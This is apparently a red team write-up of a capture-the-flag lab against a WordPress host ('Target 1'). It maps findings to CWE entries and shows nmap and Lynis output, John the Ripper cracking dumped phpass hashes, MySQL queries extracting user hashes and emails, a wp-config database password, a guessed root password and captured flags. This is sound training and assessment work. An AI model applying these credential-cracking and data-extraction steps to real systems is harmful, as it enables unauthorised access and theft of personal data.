Red Team: Summary of Operations

Olivia Moore

Statement of Summary

Through the use of various tools and methods, we were able to gain access to Target 1 (IP 192.168.1.110), view databases, extract and crack hashed passwords, gain access to the root user, view personal information, and adjust user privileges. We found the password management and network security to fall short of the expected benchmark for what can be considered secure. A large majority of the vulnerabilities found are to be considered of high risk, due to the nature of their allowing access to sensitive information and databases to external actors. Through review and in response to our findings we have also produced a dedicated Blue Team: Summary of Operations for consideration.

Exposed Services

Nmap scan results for each machine reveal the below services and OS details:

Target 1
$ nmap 192.168.1.110

```
root@Kali:~# nmap 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-11 18:51 PST
Nmap scan report for 192.168.1.110
Host is up (0.00063s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
111/tcp open  rpcbind
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 00:15:5D:00:04:10 (Microsoft)
```

This scan identifies the services below as potential points of entry:

Target 1

1. Port 22 - SSH (Vulnerable do to poor key management)
2. Port 80 - HTTP and HTTPS
3. Port 445 - Microsoft-ds (provides file and printer sharing capabilities - wannacry attack)
4. Port 139 - NetBios (Legacy Protocol file and printer sharing)

While using non-standard ports can slow attacks - its better to harden each one's functionality rather than close them off entirely

Critical Vulnerabilities

The following vulnerabilities were identified on the target:

Target 1

1. CWE-521: Weak Password Requirements (https://cwe.mitre.org/data/definitions/521.html), CWE-522: Insufficiently Protected Credentials(https://cwe.mitre.org/data/definitions/522.html), CWE-306: Missing Authentication for Proper Function (https://cwe.mitre.org/data/definitions/306.html) , CWE-262: Not Using Password Aging (https://cwe.mitre.org/data/definitions/262.html)
    a. Passwords were easily guessed, provided little resistance to repeated attempts of brute-force, and were the cause for much of the disclosed information and navigation the user accounts allowed.
        i. **Fig. A lynis scan revealing warnings on password protection**

```
[+] Boot and services
------------------------------------
  - Checking boot loaders
    - Checking presence GRUB2                                  [ FOUND ]
      - Checking for password protection                       [ WARNING ]
  - Check running services (systemctl)                         [ DONE ]
        Result: found 21 running services
  - Check enabled services at boot (systemctl)                 [ DONE ]
        Result: found 11 enabled services
  - Check startup files (permissions)                          [ OK ]
```

    b. **The lack of notable password parameters such as complexity standards and aging meant that when hashes were pushed through a wordlist they were easily cracked.**
        i. **Fig. Use of John and the rockyou.txt wordlist to produce user account "Steven" password**

```
root@Kali:~# john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8×3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pink84           (?)
1g 0:00:00:05 DONE (2020-12-13 21:11) 0.1727g/s 7925p/s 7925c/s 7925C/s tamika1..milkdud
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed
root@Kali:~#
```

2. CWE-307: Improper Restriction of Excessive Authentication Attempts (https://cwe.mitre.org/data/definitions/307.html)
    a. **Further example of an easily guessed password with no attempt failure restrictions - in this case root access was gained by guessing the password “toor”, a very common password. User account “Michael”was also guessed - password: “michael”.**
        i. **Fig. Proof of root access.**

```
su root
Password:
root@target1:/home/steven#
```

3. CWE-326: Inadequate Encryption Strength, CWE-261: Weak Encoding for Password (https://cwe.mitre.org/data/definitions/326.html)
    a. Password hashes were easily located in MySQL by sifting through the databases and separating out user_login and user_pass elements and pushing them into a separate file to run John the Ripper on. Through this, we were able to find the hashes, and subsequently crack user account “Steven”’s password (pwd: pink84)
        i. **Fig. Databse showing wp_users details before select command was used.**

```
mysql> describe wp_users;
+---------------------+---------------------+------+-----+---------------------+-----------
-----+
| Field               | Type                | Null | Key | Default             | Extra
     |
+---------------------+---------------------+------+-----+---------------------+-----------
-----+
| ID                  | bigint(20) unsigned | NO   | PRI | NULL                | auto_incre
ment |
| user_login          | varchar(60)         | NO   | MUL |                     |
     |
| user_pass           | varchar(255)        | NO   |     |                     |
     |
```

        ii. **Revealed hashes after select command was used.**

```
mysql> select user_login, user_pass from wp_users;
+------------+------------------------------------+
| user_login | user_pass                          |
+------------+------------------------------------+
| michael    | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 |
| steven     | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ |
+------------+------------------------------------+
2 rows in set (0.00 sec)
```

        iii. **Lynis Scan revealing lack of or expired SSL Certificate**

```
[+] Cryptography
------------------------------------
  - Checking SSL certificate expiration                    [ WARNING ]
```

4. CWE-553: Command Shell in Externally Accessible Directory (https://cwe.mitre.org/data/definitions/553.html)
    a. Not only were we able to SSH directly onto the target machine using Michael's easily guessed credentials, but a further Lynis scan revealed that there are no session timeouts for shells.
        i. **Fig. Session timeout settings/tools [NONE] in Lynis scan**

```
[+] Shells
------------------------------------
  - Checking shells from /etc/shells
    Result: found 5 shells (valid shells: 5).
    - Session timeout settings/tools                                  [ NONE ]
  - Testing for Shellshock vulnerability
    - CVE-2014-6271 (original shellshocker)                           [ OK ]
    - CVE-2014-6277 (segfault, lcamtuf bug #1)                        [ OK ]
    - CVE-2014-6278 (Florian's patch, lcamtuf bug #2)                 [ OK ]
    - CVE-2014-7169 (taviso bug)                                      [ OK ]
    - CVE-2014-7186 redir_stack bug                                   [ OK ]
    - CVE-2014-7187 nested loops off by one bug                       [ OK ]
    - Exploit#3 on shellshocker.net (no CVE)                          [ OK ]
```

5. CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (https://cwe.mitre.org/data/definitions/200.html) , CWE-359: Exposure of Private Personal Information to an Unauthorized Actor
    a. After extracting the user_id and user_pass elements through MySQL, it was extremely easy to view further stored private or sensitive information on the users.
        i. Fig. Revealed emails and full names through MySQL

```
mysql> select user_email, user_url, user_status, user_activation_key, user_registered, user
_nicename, display_name from wp_users;
+-------------------+----------+-------------+---------------------+---------------------+-
--------------+----------------+
| user_email        | user_url | user_status | user_activation_key | user_registered     |
user_nicename | display_name   |
+-------------------+----------+-------------+---------------------+---------------------+-
--------------+----------------+
| michael@raven.org |          |           0 |                     | 2018-08-12 22:49:12 |
michael       | michael        |
| steven@raven.org  |          |           0 |                     | 2018-08-12 23:31:16 |
steven        | Steven Seagull |
+-------------------+----------+-------------+---------------------+---------------------+-
```

6. (https://cwe.mitre.org/data/definitions/359.html) , CWE-552: Files or Directories Accessible to External Parties (https://cwe.mitre.org/data/definitions/552.html)
    a. Through gaining access to Michael's account, we were able to locate the following passwords and usernames for MySQL stored in his directories**.**
        i. Fig. Revealed User and Pass for MySQL

```
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');
```

ii. Fig. Databases revealed through access to MySQL

```
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| wordpress          |
+--------------------+
4 rows in set (0.01 sec)

mysql> use wordpress
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
12 rows in set (0.00 sec)

mysql>
```

7. CWE-284: Improper Access Control (https://cwe.mitre.org/data/definitions/284.html)
8. CWE-328: Reversible One-Way Hash (https://cwe.mitre.org/data/definitions/328.html) , CWE-916: Use of Password Hash With Insufficient Computational Effort (https://cwe.mitre.org/data/definitions/916.html)
    a. Due to the weak and exposed nature of the hashes, they were extremely easy to track down and crack.
        i. Fig. exposed hashes

```
mysql> select user_login, user_pass from wp_users;
+------------+------------------------------------+
| user_login | user_pass                          |
+------------+------------------------------------+
| michael    | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 |
| steven     | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ |
+------------+------------------------------------+
2 rows in set (0.00 sec)
```

Exploitation

The Red Team was able to penetrate both Target 1 and Target 2 and retrieve the following confidential data:

Target 1

- flag1.txt:

```
grep: Security - Doc: Is a directory
service.html:                    <!— flag1{b9bbcb33e11b80be759c4e844862482d} —>
grep: vendor: Is a directory
grep: wordpress: Is a directory
root@target1:/var/www/html#
```

- Exploit Used
    - Credentials not being stored properly, or sensitive information being incorrectly protected/stored - viewed through inspecting the page source of RavenSecurity /service page

- flag2.txt:

```
michael@target1:/var/tmp$ cd ../www
michael@target1:/var/www$ ls
flag2.txt  html
michael@target1:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
```

- Exploit Used
    - Located in /var/www - navigated through michaels user files to locate flag 3 - improper security measures protecting sensitive information

- flag4.txt

```
root@target1:/home/steven# cd ..
root@target1:/home# cd ..
root@target1:/# ls
bin   dev  home        lib    lost+found  mnt  proc  run   srv  tmp  vagrant  vmlinuz
boot  etc  initrd.img  lib64  media       opt  root  sbin  sys  usr  var
root@target1:/# cd root
root@target1:~# ls
flag4.txt
root@target1:~#
```

- Found in the root folder when using root (weak password that was brute forced - sudo su root password: toor)